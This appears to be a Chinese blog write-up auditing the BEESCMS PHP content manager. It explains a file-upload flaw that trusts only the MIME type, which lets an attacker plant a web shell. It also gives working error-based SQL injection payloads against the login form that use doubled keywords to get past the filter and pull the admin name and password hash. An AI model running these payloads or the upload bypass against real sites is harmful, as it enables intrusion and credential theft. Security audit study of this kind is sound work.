Beescms代码审计

Beescms代码审计之任意文件上传漏洞

前言

本次代码审计过程主要针对文件上传漏洞初级审计流程的思路进行复现

关键代码

文件上传: $_FILES,type="file",上传,move_upload_file()等

开始

搜索type="file"字段发现不少东西:

image-20210918185339960

选择第二个,发现了用户自定义的函数:image-20210918191857052

跟踪一下:

image-20210918192432989

结合实际情况进行抓包通过参数定位到代码中进行确定:

image-20210918193215651

可以确定确实是这一块的代码

两处滤点:

  1. 针对太大的图片进行了过滤
  2. 将图片类型与传入的参数$type数组进行了比较,判断是否满足数组中的类型

第一个不是问题,第二个可以跟踪$type来查看定义了那些类型:

回溯到第一个文件中:

array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg','image/x-png')

整个漏洞体现的很明显了,mime类型绕过即可:

image-20210918193846606

image-20210918194417007

但是还有一个什么问题,就是获取路径:

image-20210918194821338

这里就可以获取路径,然后木马一连就可以了

利用已知函数进行漏洞再挖掘:

上回已经知道up_img函数验证不严谨,既然如此,我们就针对up_img函数进行一个全局搜索:

image-20210918203910928

这个地方应该都是一样的东西,既然调用同一个函数,那么基本这个上传点也存在一样的漏洞:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1LwwYMTg-1632112960265)(http://images2.5666888.xyz//image-20210918204157912.png)]

同样的操作,同样的思路,将漏洞利用最大化i😏:

image-20210918204349682

此处自动返回路径:image-20210918204609769

路径一样:getshell!!!i😁

image-20210918204807568

Beescms代码审计之sql注入漏洞

针对登陆页面进行抓包以找到检测页面:

image-20210919185210877

找到具体检测的函数:

image-20210919192119150

经过全局跟踪在fun.php中找到了该函数的定义:

image-20210919192329086

可以看出来$user没有经过任何函数处理:

注入测试:a' or sleep(3)#验证码要对,果然睡了3秒说明是注入点

过滤:

fun.php中的fl_value函数

select
insert
update
and
in
on
left
joins
delete 
%
=
/**
../
./
union
from
where
group
into
load_file
outfile

fun.php中的fl_html函数:

function fl_html($str){
	return htmlspecialchars($str);
}

PHP htmlspecialchars() 函数

那么结合下面payload可以进行注入:

//爆破库名
yn8rt'and extractvalue(1,concat(0x7e,select database(),0x7e))#
//利用双写+空格绕过过滤
//爆破表名
yn8rt' a and nd extractvalue(1,concat(0x7e,(selselectect table_name fr from om information_schema.tables wh where ere table_schema like 'beescms' limit 0,1),0x7e))#
//爆破列名
yn8rt' a and nd extractvalue(1,concat(0x7e,(selselectect column_name fr from om information_schema.columns wh where ere table_name like 'bees_admin' limit 0,1),0x7e))#
//爆破admin账户名:admin
yn8rt' a and nd extractvalue(1,concat(0x7e,(selselectect admin_name fr from om beescms.bees_admin limit 0,1),0x7e))#
//结合substr全部爆破密码
yn8rt' a and nd extractvalue(1,concat(0x7e,substr((selselectect admin_password fr from om beescms.bees_admin limit 0,1),3,32),0x7e))#
//21232f297a57a5a743894a0e4a801fc3很明显的md5函数处理:admin

image-20210919200049760

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论
BEESCMS企业网站管理系统拥有简单方便的模板标签,能够快速做出模板;自定义表单,自定义模型,内置新闻、下载、产品、招聘、单页模型;SEO功 能,每个页面都可以单独SEO优化;多语言,多风格,每种语言每个页面都可以定义风格;html静态页面生成功能;BEES还可以自定义flash引导页。 BEESCMS企业网站管理系统源码 v4.0 更新日志 修复:留言本内容截取问题; 程序:去除HTML生成,更改为伪静态; 程序:增加手机版本,标签、模板和电脑版一样; 程序:优化一部分后台功能; 模板:新增默认手机模板; 修复:其它一些BUG。 BEESCMS企业网站管理系统源码主要特性 1、支持多种语言 BEES支持多种语言,后台添加自动生成,可为每种语言分配网站风格。 2、功能强大灵活 BEES除内置的文章、产品等模型外,还可以自定义生成其它模型,满足不同的需求 3、自定义表单系统 BEES可自定义表单系统,后台按需要生成,将生成的标签加到模板中便可使用。 4、模板制作方便 采用MVC设计模式实现了程序与模板完全分离,分别适合美工和程序员使用。 5、用户体验好 前台、后台、会员中心模板都采用 DIV CSS,兼容 IE 和 Firefox 浏览器,访问速度快。 6、支持用户反馈信息 7、SEO优化 可设置网站SEO参数及所有页面SEO信息,如关键词、页面描述等; 可全站生成静态html页面 8、输出内容全部后台设置 BEESCMS企业网站管理系统源码截图 相关阅读 同类推荐:企业网站源码

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Yn8rt

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值